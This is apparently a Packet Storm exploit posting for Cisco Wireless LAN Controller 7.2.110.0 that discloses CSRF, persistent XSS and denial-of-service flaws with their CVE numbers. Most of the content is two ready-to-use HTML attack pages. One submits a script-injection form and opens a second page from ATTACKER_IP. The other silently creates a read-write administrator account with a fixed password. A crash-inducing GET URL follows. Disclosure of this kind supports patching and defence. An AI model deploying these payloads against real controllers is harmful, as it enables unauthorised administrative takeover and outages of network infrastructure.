what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco Wireless Lan Controller 7.2.110.0 XSS / CSRF / DoS

Cisco Wireless Lan Controller 7.2.110.0 XSS / CSRF / DoS
Posted Dec 13, 2012
Authored by Jacob Holcomb

Cisco Wireless Lan Controller version 7.2.110.0 suffers from cross site request forgery, cross site scripting, and denial of service vulnerabilities.

tags | exploit, denial of service, vulnerability, xss, csrf
systems | cisco
SHA-256 | 7f735255a4061458df999f6cd3debd65949064ebec7a5945f03af105fd41ea9f

Cisco Wireless Lan Controller 7.2.110.0 XSS / CSRF / DoS

Change Mirror Download
Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities

# Exploit Title: u M@d? - Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities
# Date: Discovered and reported November 2012
# Author: Jacob Holcomb/Gimppy042 - Security Analyst @ Independent Security Evaluators
# Software: Cisco Wireless Lan Controller 7.2.110.0 (http://www.cisco.com)
# Note: Other versions are probably vulnerable, but I wasn't able to test.
# Cisco Bug ID and CVE: CSRF: CSCud50283/CVE-2012-5992, XSS: CSCud65187/CVE-2012-6007, DoS: CSCud50209/CVE-2012-5991
# Advisory/Video: http://infosec42.blogspot.com/2012/12/cisco-wlc-csrf-dos-and-persistent-xss.html
# Additional Bug: DoS - See bug section in POC


--Exploit code demonstrated in advisory video--


-CSRF/XSS-

File #1: ciscoWLC1.html


<html>
<title>Cisco WLC 7.2.110.0 CSRF - Persistent XSS</title>
<body>

<h1>LOADING...</h1>

<form name="ciscoXSS" action="https://WLC_IP_HERE/screens/base/web_auth_custom.html" method="post" >
<input type="hidden" name="access_control" value="1"/>
<input type="hidden" name="webauth_type" value="internal"/>
<input type="hidden" name="redirect_url" value=""/>
<input type="hidden" name="aire_logo" value="show"/>
<input type="hidden" name="headline" value="HaXoReD<img+src=><script>alert(42)</script>>"/>
<input type="hidden" name="message" value="U+mAd?<img src=http://www.memes.at/faces/u_mad_troll.gif height=1000 width=1000 align=left>"/>
<input type="hidden" name="ext_webauth_url" value=""/>
<input type="hidden" name="buttonClicked" value="4"/>
<input type="hidden" name="indexedClicked" value="0"/>
<input type="hidden" name="err_flag" value="0"/>
<input type="hidden" name="err_msg" value=""/>
</form>

<script>
function CSRF() {window.open("http://ATTACKER_IP/ciscoWLC2.html")};window.setTimeout(CSRF,1000)
function XSS() {document.ciscoXSS.submit()};window.setTimeout(XSS,1000)
</script>

</body>
</html>



File #2: ciscoWLC2.html


<html>
<title>Cisco WLC 7.2.110.0 CSRF - Add Administrator</title>
<body>

<form name="ciscoCSRF" action="https://WLC_IP_HERE/screens/aaa/mgmtuser_create.html" method="post" >
<input type="hidden" name="access_control" value="1"/>
<input type="hidden" name="username" value="Gimppy"/>
<input type="hidden" name="userpwd" value="Pwnd123"/>
<input type="hidden" name="pwdconfirm" value="Pwnd123"/>
<input type="hidden" name="access_mode" value="readwrite"/>
<input type="hidden" name="buttonClicked" value="4"/>
</form>

<script>
document.ciscoCSRF.submit()
window.open("https://WLC_IP_HERE/screens/base/login_preview.html") <-- Or https://WLC_IP_HERE/login.html
</script>

</body>
</html>



--Bug--

DoS - Denial of Service

If a GET request is made to the URL listed below with the supplied HTML parameters, the Cisco WLC will crash and perform a cold start. The request requires authentication, so you would have to target a specific authenticated user using social engineering tactics, and get them to some how submit the request to the WLC. This DoS GET
request could be used in conjunction with my demonstrated chained POC exploit above using the persistent XSS vulnerability to crash the WLC after performing the initial attack. This would
prevent an admin from quickly undoing the changes that were made during the attack, and if the attacker was quick enough to get shell or web access on the WLC before the admin after
the WLC reboot, the attacker could change the admin password to prevent further access.

DoS URL: https://WLC_IP_HERE/screens/base/web_auth_custom.html?&webauth_type=internal&buttonClicked=4


Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    20 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close